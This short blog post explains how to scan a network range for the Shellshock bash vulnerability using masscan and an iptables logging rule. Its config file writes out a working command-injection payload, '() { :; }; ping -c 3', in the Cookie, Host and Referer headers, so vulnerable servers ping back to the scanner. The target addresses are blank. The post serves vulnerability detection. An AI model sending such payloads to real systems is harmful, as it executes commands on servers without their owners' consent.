How to scan for shellshock

cd /root
sudo apt-get install git gcc make libpcap-dev
git clone
cd masscan

then copied this into a file shellshock.conf

range =
port = 80
banners = true
http-user-agent = shellshock-scan
http-header = Cookie:() { :; }; ping -c 3
http-header = Host:() { :; }; ping -c 3
http-header = Referer:() { :; }; ping -c 3

Then I ssh’ed to and added this to my /etc/iptables.rules file

-A LOGGING -m limit --limit 200/min -j LOG --log-prefix "SHELLSHOCK: " --log-level 7
-A INPUT -s -p icmp --icmp-type echo-request -j LOGGING

I tested by pinging it, and it logged.

then ran /root/masscan/bin/masscan -c shellshock.conf

This entry was posted in Linux. Bookmark the permalink.

Comments are closed.